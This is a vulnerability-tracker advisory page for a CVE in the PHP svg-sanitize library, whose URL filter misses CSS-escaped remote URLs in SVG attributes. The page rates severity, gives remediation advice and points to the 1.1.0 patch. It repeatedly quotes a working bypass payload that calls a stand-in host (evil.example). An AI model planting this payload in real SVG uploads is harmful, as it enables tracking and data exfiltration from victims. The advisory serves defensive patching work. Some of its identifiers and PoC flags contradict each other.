Skip to main content

svg-sanitizer CVE-2026-121446

| EUVDEUVD-2026-115868 MEDIUM
Incomplete Filtering of Special Elements (CWE-791)
2026-11-03 VulnCheck GHSA-3r85-4hm6-r357
5.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft SVG with CSS-escaped url() payload
  2. Delivery
    Submit to app using svg-sanitize for cleaning
  3. Exploit
    Sanitizer fails to strip escaped remote URL
  4. Execution
    Victim renders stored SVG in browser
  5. Impact
    Browser resolves escape and issues external request exfiltrating data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input filtering completeness
Exploitation Conditions

Exploitation requires an application that uses svg-sanitize version 0.5.0 through 1.0.0 to sanitize attacker-supplied SVG content, and that subsequently serves or renders that SVG to a victim. The specific trigger is a CSS escape sequence inside url() within an SVG presentation attribute (e.g. fill="url(\2f\2f evil.example/x)"), where escaped slashes evade the sanitizer's remote-URL removal. Limiting factors: the attack is not self-contained - a victim must open the sanitized SVG in a browser that resolves CSS escape sequences to remote URLs (demonstrated with Chrome), so passive user interaction is required (UI:P); impact is confined to outbound external requests and consequent data exfiltration, the extent of which depends on how the application uses the SVG; applications not using this library for SVG sanitization, or already on 1.1.0+, are unaffected.

Impact

This is a medium-severity (CVSS 4.0 base 5.3) information-disclosure issue, and the combined signals argue for scheduled rather than emergency remediation - consistent with the vuln.today 'this_month' decision label. The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N) shows a network-reachable, low-complexity flaw needing no attacker privileges but requiring passive victim interaction (UI:P) - the victim must render the sanitized SVG in a browser - with only low confidentiality impact and no integrity or availability impact. No EPSS score and no CISA KEV status were supplied, so there is no quantitative exploitation-probability or active-exploitation signal to weigh; absence of these is not evidence of safety but means widespread automated exploitation cannot be inferred. A public PoC reference exists in the GHSA advisory (a working SVG and reproduction steps against Chrome) but the input does not mark it as confirmed working exploit code, so treat it as a public PoC reference, not a confirmed weaponized exploit. The main risk driver is prevalence: svg-sanitize is a widely used PHP sanitization library, so many applications could inherit this bypass, but the actual impact per deployment is bounded (limited data exfiltration via outbound requests, dependent on how the SVG is used). Net: a real but moderate-priority issue, not a high-CVSS-but-illusory one, yet also not an emergency.

Exploit ScenarioDerived

An attacker submits an SVG whose presentation attribute uses a CSS-escaped remote URL, e.g. fill="url(\2f\2f evil.example/x)", to an application that relies on svg-sanitize (0.5.0-1.0.0) to clean untrusted SVG uploads; the escaped slashes evade the remote-URL stripping and the file is stored and served as 'safe.' When a victim later opens that SVG in a browser such as Chrome, the browser resolves the escape sequence to //evil.example and issues an external request, enabling callback/tracking and data exfiltration depending on context. A public PoC with the exact bypass payload is included in the vendor GHSA advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Nov 03, 2026

SVG Sanitizer 0.5.0 through 1.0.0 fails to strip remote URLs expressed with CSS escape sequences inside url() in SVG presentation attributes, so a sanitized SVG can still cause a browser to make an outbound request when rendered. The advisory shows that fill="url(//evil.example/x)" is removed while fill="url(\2f\2f evil.example/x)" is not, which can enable data exfiltration depending on how the application uses the SVG. This is a medium-severity issue (CVSS 4.0 base 5.3) with a this-month remediation priority; CISA KEV status is not indicated in the supplied data, and a public PoC reference exists in GHSA-3vh3-jf65-656w but is not verified as working exploit code.

RemediationAI

Vendor-released patch: 1.1.0. Upgrade svg-sanitizer to 1.1.0 (enshrined/svg-sanitize 1.1.0), the fixed version identified in GHSA-3vh3-jf65-656w. No vendor-documented workaround is included in the advisory. Until the upgrade can be deployed, avoid using versions 0.5.0 through 1.0.0 to sanitize attacker-supplied SVG that will subsequently be served or rendered in a browser, since victim rendering is required for the external request; disabling or restricting that upload/display path may affect legitimate SVG features. Applications that do not use this library for SVG sanitization, or that already run 1.1.0 or later, are not affected.

Affected VersionsENISA

svg-sanitizer 0.5.0 <1.1.0

Affected Packages

euvd svg_sanitizer fix: 1.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

svg-sanitizer is a PHP SVG sanitization library distributed as the Composer package enshrined/svg-sanitize; it parses SVG/XML and removes unsafe elements or attributes. The root cause is CWE-791, Incomplete Filtering of Special Elements: the sanitizer's url() filtering recognizes plain remote references but not CSS escape sequences inside url() in presentation attributes such as fill. Browsers decode escapes like \2f\2f to //, turning a value such as fill="url(\2f\2f evil.example/x)" into a remote URL request. The supplied CPE is cpe:2.3:a:darylldoyle:svg-sanitizer:*:*:*:*:*:*:*:*; the advisory confirms the vulnerable range as >=0.5.0, <=1.0.0 and the fixed version as 1.1.0. Exploitation requires an application to sanitize attacker-supplied SVG with the affected library and then serve or render the output to a victim in a browser that resolves these escapes (demonstrated with Chrome). VulnCheck's tags 'Authentication Bypass' and 'Svg Sanitizer' should not be read as an authentication flaw; the advisory describes sanitizer URL-filter evasion.

Know when Svg Sanitizer gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
vuln.today AI 4.3 MEDIUM

Attacker needs no privileges to craft the SVG (PR:N) but a victim must render it in a browser (UI:R); impact is limited outbound-request data leakage, so C:L with no I/A impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Nov 03, 2026 - 16:17 EUVD

DescriptionCVE.org

svg-sanitizer from 0.5.0 before 1.1.0 contains an incomplete filtering vulnerability that allows attackers to bypass remote URL removal by using CSS escape sequences inside url() in SVG presentation attributes. Attackers can supply SVG files with attributes like fill containing escaped slashes that browsers resolve to remote URLs, triggering external requests and enabling data exfiltration.

Threat Intelligence Overview

Prevalence
Medium
popular PHP SVG-sanitizing library embedded in many web apps
Social Media
1
Sightings
Data Quality
3 sources
Confidence: Low

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS N/A
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy